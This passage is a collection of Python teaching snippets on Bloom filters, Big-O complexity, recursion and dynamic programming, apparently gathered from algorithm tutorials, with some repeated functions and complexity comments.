        assert bf.contains(word), f"False negative for {word}!"

    # Test 2: Measure false positive rate
    false_positives = 0
    test_count = 100000

    for i in range(test_count):
        word = ''.join(random.choices(string.ascii_letters, k=10))
        if word not in added and bf.contains(word):
            false_positives += 1

    actual_fp_rate = false_positives / test_count
    print(f"Expected FP rate: 0.01")
    print(f"Actual FP rate: {actual_fp_rate:.4f}")

    # Should be close to expected (within tolerance)
    assert abs(actual_fp_rate - 0.01) < 0.005

test_bloom_filter()

================================================
BLOOM FILTER CHEAT SHEET
================================================

Optimal bit array size:
  m = -n * ln(p) / (ln 2)^2

Optimal hash functions:
  k = (m/n) * ln(2)

False positive rate:
  p ~= (1 - e^(-kn/m))^k

Bits per element (optimal):
  m/n = -log_2(p) / ln(2) ~= 1.44 log_2(1/p)

Time Complexity:
  Insert: O(k)
  Query:  O(k)

Space: O(n log(1/p)) bits
================================================

# O(1) - Constant time
def get_first_element(arr):
    return arr[0] if arr else None

# O(n) - Linear time
def find_element(arr, target):
    for elem in arr:
        if elem == target:
            return True
    return False

# O(n²) - Quadratic time
def bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(n - i - 1):
            if arr[j] > arr[j + 1]:
                arr[j], arr[j + 1] = arr[j + 1], arr[j]
    return arr

# O(log n) - Logarithmic time
def binary_search(arr, target):
    left, right = 0, len(arr) - 1
    while left <= right:
        mid = (left + right) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1
    return -1

# O(n log n) - Linearithmic time
def merge_sort(arr):
    if len(arr) <= 1:
        return arr
    mid = len(arr) // 2
    left = merge_sort(arr[:mid])
    right = merge_sort(arr[mid:])
    return merge(left, right)

# O(1) space - In-place
def reverse_array_inplace(arr):
    left, right = 0, len(arr) - 1
    while left < right:
        arr[left], arr[right] = arr[right], arr[left]
        left += 1
        right -= 1

# O(n) space - Additional array
def reverse_array_new(arr):
    return arr[::-1]

# O(n) space - Recursion stack
def factorial(n):
    if n <= 1:
        return 1
    return n * factorial(n - 1)

# Find pair with given sum in sorted array
def find_pair_with_sum(arr, target):
    left, right = 0, len(arr) - 1

    while left < right:
        current_sum = arr[left] + arr[right]
        if current_sum == target:
            return (arr[left], arr[right])
        elif current_sum < target:
            left += 1
        else:
            right -= 1

    return None

# Remove duplicates from sorted array
def remove_duplicates(arr):
    if not arr:
        return 0

    write_index = 1
    for read_index in range(1, len(arr)):
        if arr[read_index] != arr[read_index - 1]:
            arr[write_index] = arr[read_index]
            write_index += 1

    return write_index

# Maximum sum subarray of size k
def max_sum_subarray(arr, k):
    if len(arr) < k:
        return None

    # Calculate sum of first window
    window_sum = sum(arr[:k])
    max_sum = window_sum

    # Slide window
    for i in range(k, len(arr)):
        window_sum = window_sum - arr[i - k] + arr[i]
        max_sum = max(max_sum, window_sum)

    return max_sum

# Longest substring without repeating characters
def longest_unique_substring(s):
    char_index = {}
    max_length = 0
    start = 0

    for end in range(len(s)):
        if s[end] in char_index and char_index[s[end]] >= start:
            start = char_index[s[end]] + 1

        char_index[s[end]] = end
        max_length = max(max_length, end - start + 1)

    return max_length

# Detect cycle in linked list
def has_cycle(head):
    if not head:
        return False

    slow = fast = head

    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next

        if slow == fast:
            return True

    return False

# Find middle of linked list
def find_middle(head):
    slow = fast = head

    while fast and fast.next:
        slow = slow.next
        fast = fast.next.next

    return slow

# Merge overlapping intervals
def merge_intervals(intervals):
    if not intervals:
        return []

    # Sort by start time
    intervals.sort(key=lambda x: x[0])
    merged = [intervals[0]]

    for current in intervals[1:]:
        last = merged[-1]

        if current[0] <= last[1]:
            # Overlapping - merge
            merged[-1] = (last[0], max(last[1], current[1]))
        else:
            # Non-overlapping - add
            merged.append(current)

    return merged

# Find first occurrence
def find_first(arr, target):
    left, right = 0, len(arr) - 1
    result = -1

    while left <= right:
        mid = (left + right) // 2

        if arr[mid] == target:
            result = mid
            right = mid - 1  # Continue searching left
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1

    return result

# Find peak element
def find_peak(arr):
    left, right = 0, len(arr) - 1

    while left < right:
        mid = (left + right) // 2

        if arr[mid] > arr[mid + 1]:
            right = mid
        else:
            left = mid + 1

    return left

def get_first_element(arr):
    return arr[0]  # Always one operation

def hash_lookup(dictionary, key):
    return dictionary[key]  # Constant time hash table lookup

# Example
arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print(get_first_element(arr))  # $O(1)$

def binary_search(arr, target):
    left, right = 0, len(arr) - 1

    while left <= right:
        mid = (left + right) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1
    return -1

# Example: With 1000 elements, only ~10 comparisons needed
arr = list(range(1000))
print(binary_search(arr, 742))  # $O(\log n)$

def linear_search(arr, target):
    for i, element in enumerate(arr):
        if element == target:
            return i
    return -1

def find_max(arr):
    max_val = arr[0]
    for num in arr:
        if num > max_val:
            max_val = num
    return max_val

# Example
arr = [3, 1, 4, 1, 5, 9, 2, 6, 5, 3]
print(linear_search(arr, 9))  # $O(n)$
print(find_max(arr))          # $O(n)$

def merge_sort(arr):
    if len(arr) <= 1:
        return arr

    mid = len(arr) // 2
    left = merge_sort(arr[:mid])
    right = merge_sort(arr[mid:])

    return merge(left, right)

def merge(left, right):
    result = []
    i = j = 0

    while i < len(left) and j < len(right):
        if left[i] <= right[j]:
            result.append(left[i])
            i += 1
        else:
            result.append(right[j])
            j += 1

    result.extend(left[i:])
    result.extend(right[j:])
    return result

# Example
arr = [38, 27, 43, 3, 9, 82, 10]
print(merge_sort(arr))  # $O(n \log n)$

def bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(0, n - i - 1):
            if arr[j] > arr[j + 1]:
                arr[j], arr[j + 1] = arr[j + 1], arr[j]
    return arr

def find_duplicates_naive(arr):
    duplicates = []
    for i in range(len(arr)):
        for j in range(i + 1, len(arr)):
            if arr[i] == arr[j]:
                duplicates.append(arr[i])
    return duplicates

# Example
arr = [64, 34, 25, 12, 22, 11, 90]
print(bubble_sort(arr.copy()))  # $O(n^2)$

def fibonacci_recursive(n):
    if n <= 1:
        return n
    return fibonacci_recursive(n - 1) + fibonacci_recursive(n - 2)

def power_set(s):
    if not s:
        return [[]]

    subsets = power_set(s[1:])
    return subsets + [[s[0]] + subset for subset in subsets]

# Example (slow for large n!)
print(fibonacci_recursive(10))  # $O(2^n)$
print(power_set([1, 2, 3]))     # $O(2^n)$

def permutations(arr):
    if len(arr) <= 1:
        return [arr]

    result = []
    for i in range(len(arr)):
        rest = arr[:i] + arr[i+1:]
        for p in permutations(rest):
            result.append([arr[i]] + p)
    return result

# Example (very slow!)
print(permutations([1, 2, 3]))  # $O(n!)$
# For n=10, this would generate 3,628,800 permutations!

import time
import random

def compare_complexities(n):
    # $O(1)$
    start = time.time()
    _ = n
    o1_time = time.time() - start

    # $O(\log n)$
    start = time.time()
    _ = n.bit_length()
    olog_time = time.time() - start

    # $O(n)$
    start = time.time()
    _ = sum(range(n))
    on_time = time.time() - start

    # $O(n \log n)$
    start = time.time()
    arr = list(range(n))
    random.shuffle(arr)
    _ = sorted(arr)
    onlogn_time = time.time() - start

    # $O(n^2)$
    start = time.time()
    for i in range(min(n, 1000)):  # Limited to avoid long wait
        for j in range(min(n, 1000)):
            pass
    on2_time = time.time() - start

    print(f"n = {n}:")
    print(f"  $O(1)$:      {o1_time:.6f}s")
    print(f"  $O(\log n)$:  {olog_time:.6f}s")
    print(f"  $O(n)$:      {on_time:.6f}s")
    print(f"  $O(n \log n)$:{onlogn_time:.6f}s")
    print(f"  $O(n^2)$:     {on2_time:.6f}s (limited)")

# Example
compare_complexities(10000)

# $O(1)$ space - In-place
def reverse_array_inplace(arr):
    left, right = 0, len(arr) - 1
    while left < right:
        arr[left], arr[right] = arr[right], arr[left]
        left += 1
        right -= 1

# $O(n)$ space - Additional array
def reverse_array_new(arr):
    return arr[::-1]

# $O(n)$ space - Recursion stack
def factorial_recursive(n):
    if n <= 1:
        return 1
    return n * factorial_recursive(n - 1)

# $O(n^2)$ space - 2D array
def create_matrix(n):
    return [[0 for _ in range(n)] for _ in range(n)]

def quick_sort(arr):
    if len(arr) <= 1:
        return arr

    pivot = arr[len(arr) // 2]
    left = [x for x in arr if x < pivot]
    middle = [x for x in arr if x == pivot]
    right = [x for x in arr if x > pivot]

    return quick_sort(left) + middle + quick_sort(right)

# Quick Sort:
# Best case:    $O(n \log n)$ - balanced partitions
# Average case: $O(n \log n)$
# Worst case:   $O(n^2)$ - already sorted array

def example_algorithm(arr):
    n = len(arr)

    # $O(1)$ - constant operations
    first = arr[0]
    last = arr[-1]

    # $O(n)$ - single loop
    total = sum(arr)

    # $O(n^2)$ - nested loops
    for i in range(n):
        for j in range(n):
            pass

    # $O(n \log n)$ - sorting
    sorted_arr = sorted(arr)

    # Overall: $O(1) + O(n) + O(n^2) + O(n \log n) = O(n^2)$
    # (Dominant term is $n^2$)

# Rule 1: Drop constants
def example1(arr):
    for item in arr:        # $O(n)$
        print(item)
    for item in arr:        # $O(n)$
        print(item)
    # Total: $O(2n) = O(n)$

# Rule 2: Drop non-dominant terms
def example2(arr):
    for i in range(len(arr)):           # $O(n)$
        for j in range(len(arr)):       # $O(n^2)$
            print(i, j)
    for item in arr:                    # $O(n)$
        print(item)
    # Total: $O(n^2 + n) = O(n^2)$

# Rule 3: Different inputs
def example3(arr1, arr2):
    for item in arr1:       # $O(a)$
        print(item)
    for item in arr2:       # $O(b)$
        print(item)
    # Total: $O(a + b)$

# Rule 4: Multiplication for nested
def example4(arr1, arr2):
    for item1 in arr1:              # $O(a)$
        for item2 in arr2:          # $O(b)$
            print(item1, item2)
    # Total: $O(a \times b)$

For n = 100:
$O(1)$:      1 operation
$O(\log n)$:  7 operations
$O(n)$:      100 operations
$O(n \log n)$:700 operations
$O(n^2)$:     10,000 operations
$O(n^3)$:     1,000,000 operations
$O(2^n)$:    $1.27 \times 10^{30}$ operations (intractable!)
$O(n!)$:     $9.33 \times 10^{157}$ operations (impossible!)

def factorial(n):
    # Base case
    if n == 0 or n == 1:
        return 1
    # Recursive case
    return n * factorial(n - 1)

# Example usage
print(factorial(5))  # Output: 120

# Simple recursion (exponential time)
def fibonacci(n):
    if n <= 1:
        return n
    return fibonacci(n - 1) + fibonacci(n - 2)

# With memoization (linear time)
def fibonacci_memo(n, memo={}):
    if n in memo:
        return memo[n]
    if n <= 1:
        return n
    memo[n] = fibonacci_memo(n - 1, memo) + fibonacci_memo(n - 2, memo)
    return memo[n]

# Example usage
print(fibonacci(10))       # Output: 55
print(fibonacci_memo(100)) # Much faster for large n

def binary_search(arr, target, left, right):
    # Base case: element not found
    if left > right:
        return -1

    mid = left + (right - left) // 2

    # Base case: element found
    if arr[mid] == target:
        return mid

    # Recursive cases
    if arr[mid] > target:
        return binary_search(arr, target, left, mid - 1)
    else:
        return binary_search(arr, target, mid + 1, right)

# Example usage
arr = [1, 3, 5, 7, 9, 11, 13]
result = binary_search(arr, 7, 0, len(arr) - 1)
print(f"Element found at index: {result}")  # Output: 3

def array_sum(arr):
    # Base case: empty array
    if not arr:
        return 0
    # Recursive case: first element + sum of rest
    return arr[0] + array_sum(arr[1:])

# Optimized with index
def array_sum_optimized(arr, index=0):
    if index == len(arr):
        return 0
    return arr[index] + array_sum_optimized(arr, index + 1)

# Example usage
numbers = [1, 2, 3, 4, 5]
print(array_sum(numbers))  # Output: 15

# Simple recursion
def power(x, n):
    if n == 0:
        return 1
    return x * power(x, n - 1)

# Optimized (divide and conquer)
def power_optimized(x, n):
    if n == 0:
        return 1

    half = power_optimized(x, n // 2)

    if n % 2 == 0:
        return half * half
    else:
        return x * half * half

# Example usage
print(power(2, 10))           # Output: 1024
print(power_optimized(2, 10)) # Faster for large n

def reverse_string(s):
    # Base case: empty or single character
    if len(s) <= 1:
        return s
    # Recursive case: last char + reverse of rest
    return s[-1] + reverse_string(s[:-1])

# Alternative implementation
def reverse_string_alt(s):
    if len(s) == 0:
        return s
    return reverse_string_alt(s[1:]) + s[0]

# Example usage
print(reverse_string("hello"))  # Output: "olleh"

def is_palindrome(s, left=0, right=None):
    if right is None:
        right = len(s) - 1

    # Base cases
    if left >= right:
        return True

    if s[left] != s[right]:
        return False

    # Recursive case
    return is_palindrome(s, left + 1, right - 1)

# Example usage
print(is_palindrome("racecar"))  # Output: True
print(is_palindrome("hello"))    # Output: False

class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

# Inorder traversal (left, root, right)
def inorder(root):
    if root is None:
        return []
    return inorder(root.left) + [root.val] + inorder(root.right)

# Preorder traversal (root, left, right)
def preorder(root):
    if root is None:
        return []
    return [root.val] + preorder(root.left) + preorder(root.right)

# Postorder traversal (left, right, root)
def postorder(root):
    if root is None:
        return []
    return postorder(root.left) + postorder(root.right) + [root.val]

# Tree height
def tree_height(root):
    if root is None:
        return 0
    return 1 + max(tree_height(root.left), tree_height(root.right))

# Example usage
#       1
#      / \
#     2   3
#    / \
#   4   5
root = TreeNode(1)
root.left = TreeNode(2)
root.right = TreeNode(3)
root.left.left = TreeNode(4)
root.left.right = TreeNode(5)

print("Inorder:", inorder(root))    # [4, 2, 5, 1, 3]
print("Preorder:", preorder(root))  # [1, 2, 4, 5, 3]
print("Postorder:", postorder(root))# [4, 5, 2, 3, 1]
print("Height:", tree_height(root)) # 3

def gcd(a, b):
    # Base case
    if b == 0:
        return a
    # Recursive case
    return gcd(b, a % b)

# Example usage
print(gcd(48, 18))  # Output: 6

def tower_of_hanoi(n, source, destination, auxiliary):
    if n == 1:
        print(f"Move disk 1 from {source} to {destination}")
        return

    # Move n-1 disks from source to auxiliary
    tower_of_hanoi(n - 1, source, auxiliary, destination)

    # Move nth disk from source to destination
    print(f"Move disk {n} from {source} to {destination}")

    # Move n-1 disks from auxiliary to destination
    tower_of_hanoi(n - 1, auxiliary, destination, source)

# Example usage
tower_of_hanoi(3, 'A', 'C', 'B')

def flatten(nested_list):
    result = []
    for item in nested_list:
        if isinstance(item, list):
            result.extend(flatten(item))
        else:
            result.append(item)
    return result

# Example usage
nested = [1, [2, [3, 4], 5], 6, [7, 8]]
print(flatten(nested))  # Output: [1, 2, 3, 4, 5, 6, 7, 8]

def linear_recursion(n):
    if n == 0:
        return 0
    return n + linear_recursion(n - 1)

def binary_recursion(n):
    if n <= 1:
        return n
    return binary_recursion(n - 1) + binary_recursion(n - 2)

def tail_recursion(n, accumulator=0):
    if n == 0:
        return accumulator
    return tail_recursion(n - 1, accumulator + n)

# Recursive factorial
def factorial_recursive(n):
    if n <= 1:
        return 1
    return n * factorial_recursive(n - 1)

# Iterative factorial
def factorial_iterative(n):
    result = 1
    for i in range(1, n + 1):
        result *= i
    return result

# BAD: No base case (infinite recursion)
def bad_recursion(n):
    return 1 + bad_recursion(n - 1)  # Never stops!

# BAD: Doesn't make progress
def bad_recursion2(n):
    if n == 0:
        return 0
    return bad_recursion2(n)  # n never changes!

# GOOD: Proper base case and progress
def good_recursion(n):
    if n == 0:
        return 0
    return 1 + good_recursion(n - 1)  # n decreases

def fib_memo(n, memo=None):
    """Calculate nth Fibonacci number using memoization"""
    if memo is None:
        memo = {}

    if n in memo:
        return memo[n]

    # Base cases
    if n <= 1:
        return n

    # Recursive case with memoization
    memo[n] = fib_memo(n-1, memo) + fib_memo(n-2, memo)
    return memo[n]

# Time: O(n), Space: O(n)

def fib_tab(n):
    """Calculate nth Fibonacci number using tabulation"""
    if n <= 1:
        return n

    # Build table bottom-up
    dp = [0] * (n + 1)
    dp[1] = 1

    for i in range(2, n + 1):
        dp[i] = dp[i-1] + dp[i-2]

    return dp[n]

# Time: O(n), Space: O(n)

def fib_optimized(n):
    """Space-optimized Fibonacci calculation"""
    if n <= 1:
        return n

    prev2, prev1 = 0, 1

    for _ in range(2, n + 1):
        current = prev1 + prev2
        prev2, prev1 = prev1, current

    return prev1

# Time: O(n), Space: O(1)

dp[i] = f(dp[i-1], dp[i-2], ..., dp[i-k])

def climb_stairs(n):
    """Count distinct ways to climb n stairs"""
    if n <= 2:
        return n

    dp = [0] * (n + 1)
    dp[1], dp[2] = 1, 2

    for i in range(3, n + 1):
        dp[i] = dp[i-1] + dp[i-2]

    return dp[n]

# Time: O(n), Space: O(n)
# Can be optimized to O(1) space

def rob(nums):
    """Maximum money you can rob without adjacent houses"""
    if not nums:
        return 0
    if len(nums) == 1:
        return nums[0]

    # dp[i] = max money robbing houses 0..i
    dp = [0] * len(nums)
    dp[0] = nums[0]
    dp[1] = max(nums[0], nums[1])

    for i in range(2, len(nums)):
        # Either rob current house + dp[i-2], or skip it
        dp[i] = max(dp[i-1], nums[i] + dp[i-2])

    return dp[-1]

# Time: O(n), Space: O(n)

def rob_optimized(nums):
    if not nums:
        return 0

    prev2, prev1 = 0, 0

    for num in nums:
        current = max(prev1, num + prev2)
        prev2, prev1 = prev1, current

    return prev1

# Time: O(n), Space: O(1)

def length_of_LIS(nums):
    """Length of longest increasing subsequence"""
    if not nums:
        return 0

    n = len(nums)
    # dp[i] = length of LIS ending at index i
    dp = [1] * n

    for i in range(1, n):
        for j in range(i):
            if nums[j] < nums[i]:
                dp[i] = max(dp[i], dp[j] + 1)

    return max(dp)

# Time: O(n²), Space: O(n)
# Can be optimized to O(n log n) using binary search

dp[i][j] = f(dp[i-1][j], dp[i][j-1], dp[i-1][j-1], ...)

def unique_paths(m, n):
    """Count unique paths in m×n grid"""
    # dp[i][j] = number of paths to reach cell (i,j)
    dp = [[1] * n for _ in range(m)]

    for i in range(1, m):
        for j in range(1, n):
            dp[i][j] = dp[i-1][j] + dp[i][j-1]

    return dp[m-1][n-1]

# Time: O(m×n), Space: O(m×n)

def unique_paths_optimized(m, n):
    dp = [1] * n

    for i in range(1, m):
        for j in range(1, n):
            dp[j] += dp[j-1]

    return dp[n-1]

# Time: O(m×n), Space: O(n)

def min_path_sum(grid):
    """Minimum path sum in grid"""
    if not grid or not grid[0]:
        return 0

    m, n = len(grid), len(grid[0])
    dp = [[0] * n for _ in range(m)]

    # Initialize first cell
    dp[0][0] = grid[0][0]

    # Initialize first row
    for j in range(1, n):
        dp[0][j] = dp[0][j-1] + grid[0][j]

    # Initialize first column
    for i in range(1, m):
        dp[i][0] = dp[i-1][0] + grid[i][0]

    # Fill rest of table
    for i in range(1, m):
        for j in range(1, n):
            dp[i][j] = grid[i][j] + min(dp[i-1][j], dp[i][j-1])

    return dp[m-1][n-1]

# Time: O(m×n), Space: O(m×n)

def maximal_square(matrix):
    """Find area of largest square of 1s"""
    if not matrix or not matrix[0]:
        return 0

    m, n = len(matrix), len(matrix[0])
    dp = [[0] * n for _ in range(m)]
    max_side = 0

    for i in range(m):
        for j in range(n):
            if matrix[i][j] == '1':
                if i == 0 or j == 0:
                    dp[i][j] = 1
                else:
                    # Square side length at (i,j)
                    dp[i][j] = min(
                        dp[i-1][j],      # top
                        dp[i][j-1],      # left
                        dp[i-1][j-1]     # diagonal
                    ) + 1
                max_side = max(max_side, dp[i][j])

    return max_side * max_side

# Time: O(m×n), Space: O(m×n)

def longest_common_subsequence(text1, text2):
    """Length of longest common subsequence"""
    m, n = len(text1), len(text2)
    # dp[i][j] = LCS length of text1[0..i-1] and text2[0..j-1]
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if text1[i-1] == text2[j-1]:
                # Characters match: extend LCS
                dp[i][j] = dp[i-1][j-1] + 1
            else:
                # Take max of excluding one character
                dp[i][j] = max(dp[i-1][j], dp[i][j-1])

    return dp[m][n]

# Time: O(m×n), Space: O(m×n)

def get_lcs(text1, text2):
    """Get actual LCS string"""
    m, n = len(text1), len(text2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    # Build DP table
    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if text1[i-1] == text2[j-1]:
                dp[i][j] = dp[i-1][j-1] + 1
            else:
                dp[i][j] = max(dp[i-1][j], dp[i][j-1])

    # Backtrack to find LCS
    lcs = []
    i, j = m, n
    while i > 0 and j > 0:
        if text1[i-1] == text2[j-1]:
            lcs.append(text1[i-1])
            i -= 1
            j -= 1
        elif dp[i-1][j] > dp[i][j-1]:
            i -= 1
        else:
            j -= 1

    return ''.join(reversed(lcs))

def min_distance(word1, word2):
    """Minimum edit distance between two words"""
    m, n = len(word1), len(word2)
    # dp[i][j] = min operations to convert word1[0..i-1] to word2[0..j-1]
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    # Base cases: converting to/from empty string
    for i in range(m + 1):
        dp[i][0] = i  # Delete all characters
    for j in range(n + 1):
        dp[0][j] = j  # Insert all characters

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if word1[i-1] == word2[j-1]:
                # No operation needed
                dp[i][j] = dp[i-1][j-1]
            else:
                # Min of: replace, delete, insert
                dp[i][j] = 1 + min(
                    dp[i-1][j-1],  # Replace
                    dp[i-1][j],    # Delete from word1
                    dp[i][j-1]     # Insert to word1
                )

    return dp[m][n]

# Time: O(m×n), Space: O(m×n)

def longest_palindrome_subseq(s):
    """Length of longest palindromic subsequence"""
    n = len(s)
    # dp[i][j] = length of LPS in s[i..j]
    dp = [[0] * n for _ in range(n)]

    # Every single character is a palindrome of length 1
    for i in range(n):
        dp[i][i] = 1

    # Build table for substrings of increasing length
    for length in range(2, n + 1):
        for i in range(n - length + 1):
            j = i + length - 1
            if s[i] == s[j]:
                # Characters match: add 2 to inner subsequence
                dp[i][j] = dp[i+1][j-1] + 2
            else:
                # Take max of excluding one end
                dp[i][j] = max(dp[i+1][j], dp[i][j-1])

    return dp[0][n-1]

# Time: O(n²), Space: O(n²)

def word_break(s, wordDict):
    """Check if string can be segmented into words"""
    word_set = set(wordDict)
    n = len(s)
    # dp[i] = True if s[0..i-1] can be segmented
    dp = [False] * (n + 1)
    dp[0] = True  # Empty string

    for i in range(1, n + 1):
        for j in range(i):
            # If s[0..j-1] can be segmented and s[j..i-1] is a word
            if dp[j] and s[j:i] in word_set:
                dp[i] = True
                break

    return dp[n]

# Time: O(n² × m) where m is average word length
# Space: O(n)

def knapsack_01(weights, values, capacity):
    """0/1 Knapsack: maximize value within capacity"""
    n = len(weights)
    # dp[i][w] = max value using items 0..i-1 with capacity w
    dp = [[0] * (capacity + 1) for _ in range(n + 1)]

    for i in range(1, n + 1):
        for w in range(capacity + 1):
            # Don't include item i-1
            dp[i][w] = dp[i-1][w]

            # Include item i-1 if it fits
            if weights[i-1] <= w:
                dp[i][w] = max(
                    dp[i][w],
                    values[i-1] + dp[i-1][w - weights[i-1]]
                )

    return dp[n][capacity]

# Time: O(n×W), Space: O(n×W)

def knapsack_01_optimized(weights, values, capacity):
    """Space-optimized 0/1 knapsack"""
    dp = [0] * (capacity + 1)

    for i in range(len(weights)):
        # Traverse backwards to avoid using updated values
        for w in range(capacity, weights[i] - 1, -1):
            dp[w] = max(dp[w], values[i] + dp[w - weights[i]])

    return dp[capacity]

# Time: O(n×W), Space: O(W)

def knapsack_unbounded(weights, values, capacity):
    """Unbounded knapsack: items can be used multiple times"""
    dp = [0] * (capacity + 1)

    for w in range(1, capacity + 1):
        for i in range(len(weights)):
            if weights[i] <= w:
                dp[w] = max(dp[w], values[i] + dp[w - weights[i]])

    return dp[capacity]

# Time: O(n×W), Space: O(W)

def coin_change(coins, amount):
    """Minimum coins to make amount"""
    # dp[i] = min coins to make amount i
    dp = [float('inf')] * (amount + 1)
    dp[0] = 0

    for coin in coins:
        for i in range(coin, amount + 1):
            dp[i] = min(dp[i], dp[i - coin] + 1)

    return dp[amount] if dp[amount] != float('inf') else -1

# Time: O(amount × len(coins)), Space: O(amount)

def coin_change_ways(coins, amount):
    """Count ways to make amount"""
    dp = [0] * (amount + 1)
    dp[0] = 1

    for coin in coins:
        for i in range(coin, amount + 1):
            dp[i] += dp[i - coin]

    return dp[amount]

# Time: O(amount × len(coins)), Space: O(amount)

def can_partition(nums):
    """Check if array can be partitioned into equal sum subsets"""
    total = sum(nums)
    if total % 2:
        return False

    target = total // 2
    # dp[i] = True if sum i is achievable
    dp = [False] * (target + 1)
    dp[0] = True

    for num in nums:
        # Traverse backwards (0/1 knapsack pattern)
        for i in range(target, num - 1, -1):
            dp[i] = dp[i] or dp[i - num]

    return dp[target]

# Time: O(n × sum/2), Space: O(sum/2)

def min_cut(s):
    """Minimum cuts for palindrome partitioning"""
    n = len(s)

    # Precompute palindrome check
    is_palindrome = [[False] * n for _ in range(n)]
    for i in range(n):
        is_palindrome[i][i] = True
    for length in range(2, n + 1):
        for i in range(n - length + 1):
            j = i + length - 1
            if s[i] == s[j]:
                is_palindrome[i][j] = (length == 2 or is_palindrome[i+1][j-1])

    # dp[i] = min cuts for s[0..i]
    dp = [0] * n
    for i in range(n):
        if is_palindrome[0][i]:
            dp[i] = 0
        else:
            dp[i] = i  # Max cuts
            for j in range(i):
                if is_palindrome[j+1][i]:
                    dp[i] = min(dp[i], dp[j] + 1)

    return dp[n-1]

# Time: O(n²), Space: O(n²)

def max_profit_cooldown(prices):
    """Max profit with cooldown"""
    if not prices:
        return 0

    n = len(prices)
    # States: hold stock, sold today, cooldown
    hold = [0] * n
    sold = [0] * n
    cooldown = [0] * n

    hold[0] = -prices[0]

    for i in range(1, n):
        # Hold: either already holding or buy today
        hold[i] = max(hold[i-1], cooldown[i-1] - prices[i])
        # Sold: sell today
        sold[i] = hold[i-1] + prices[i]
        # Cooldown: either already in cooldown or just sold
        cooldown[i] = max(cooldown[i-1], sold[i-1])

    return max(sold[-1], cooldown[-1])

# Time: O(n), Space: O(n)

def max_coins(nums):
    """Maximum coins from bursting balloons"""
    # Add 1s at boundaries
    nums = [1] + nums + [1]
    n = len(nums)
    # dp[i][j] = max coins bursting balloons (i, j) (exclusive)
    dp = [[0] * n for _ in range(n)]

    # Build for increasing interval lengths
    for length in range(2, n):
        for left in range(n - length):
            right = left + length
            # Try bursting each balloon k last in (left, right)
            for k in range(left + 1, right):
                coins = nums[left] * nums[k] * nums[right]
                coins += dp[left][k] + dp[k][right]
                dp[left][right] = max(dp[left][right], coins)

    return dp[0][n-1]

# Time: O(n³), Space: O(n²)

from collections import deque

def max_sliding_window_dp(nums, k):
    """DP with monotonic deque for sliding window maximum"""
    if not nums:
        return []

    dq = deque()  # Stores indices
    result = []

    for i in range(len(nums)):
        # Remove elements outside window
        while dq and dq[0] < i - k + 1:
            dq.popleft()

        # Remove smaller elements (maintain decreasing order)
        while dq and nums[dq[-1]] < nums[i]:
            dq.pop()

        dq.append(i)

        # Add to result when window is full
        if i >= k - 1:
            result.append(nums[dq[0]])

    return result

# Time: O(n), Space: O(k)

class SegmentTree:
    def __init__(self, n):
        self.n = n
        self.tree = [0] * (4 * n)

    def update(self, node, start, end, idx, val):
        if start == end:
            self.tree[node] = val
        else:
            mid = (start + end) // 2
            if idx <= mid:
                self.update(2*node, start, mid, idx, val)
            else:
                self.update(2*node+1, mid+1, end, idx, val)
            self.tree[node] = max(self.tree[2*node], self.tree[2*node+1])

    def query(self, node, start, end, l, r):
        if r < start or end < l:
            return float('-inf')
        if l <= start and end <= r:
            return self.tree[node]
        mid = (start + end) // 2
        return max(
            self.query(2*node, start, mid, l, r),
            self.query(2*node+1, mid+1, end, l, r)
        )

def dp_with_segment_tree(arr):
    """DP optimization using segment tree"""
    n = len(arr)
    st = SegmentTree(n)
    dp = [0] * n

    for i in range(n):
        # Query best previous state in range
        if i > 0:
            best = st.query(1, 0, n-1, 0, i-1)
            dp[i] = best + arr[i]
        else:
            dp[i] = arr[i]
        # Update segment tree
        st.update(1, 0, n-1, i, dp[i])

    return max(dp)

# Time: O(n log n), Space: O(n)

from collections import deque

def convex_hull_trick(arr):
    """DP optimization using convex hull trick"""
    n = len(arr)
    dp = [0] * n

    # Line represented as (m, c) for y = mx + c
    hull = deque()

    def bad(l1, l2, l3):
        """Check if l2 is redundant"""
        m1, c1 = l1
        m2, c2 = l2
        m3, c3 = l3
        # Cross product comparison
        return (c3 - c1) * (m1 - m2) <= (c2 - c1) * (m1 - m3)

    def query(hull, x):
        """Find minimum value at x"""
        # Binary search for best line
        left, right = 0, len(hull) - 1
        while left < right:
            mid = (left + right) // 2
            m1, c1 = hull[mid]
            m2, c2 = hull[mid + 1]
            if m1 * x + c1 >= m2 * x + c2:
                left = mid + 1
            else:
                right = mid
        m, c = hull[left]
        return m * x + c

    dp[0] = 0
    hull.append((0, 0))  # Initial line

    for i in range(1, n):
        # Query best previous state
        dp[i] = query(hull, arr[i])

        # Add new line to hull
        new_line = (i, dp[i])
        while len(hull) >= 2 and bad(hull[-2], hull[-1], new_line):
            hull.pop()
        hull.append(new_line)

    return dp[n-1]

# Time: O(n log n) with binary search, O(n) if queries are monotonic

def divide_and_conquer_dp(cost, m):
    """
    Divide and conquer DP optimization
    dp[i][j] = min cost to partition arr[0..j] into i groups
    """
    n = len(cost)
    dp = [[float('inf')] * n for _ in range(m + 1)]

    # Base case
    for j in range(n):
        dp[1][j] = cost[0][j]

    def solve(i, l, r, opt_l, opt_r):
        """
        Compute dp[i][l..r] knowing optimal k is in [opt_l, opt_r]
        """
        if l > r:
            return

        mid = (l + r) // 2
        best_k = -1

        # Find optimal k for dp[i][mid]
        for k in range(opt_l, min(mid, opt_r) + 1):
            val = dp[i-1][k] + cost[k+1][mid]
            if val < dp[i][mid]:
                dp[i][mid] = val
                best_k = k

        # Recursively solve left and right
        solve(i, l, mid - 1, opt_l, best_k)
        solve(i, mid + 1, r, best_k, opt_r)

    for i in range(2, m + 1):
        solve(i, 0, n - 1, 0, n - 1)

    return dp[m][n-1]

# Time: O(m × n log n), Space: O(m × n)
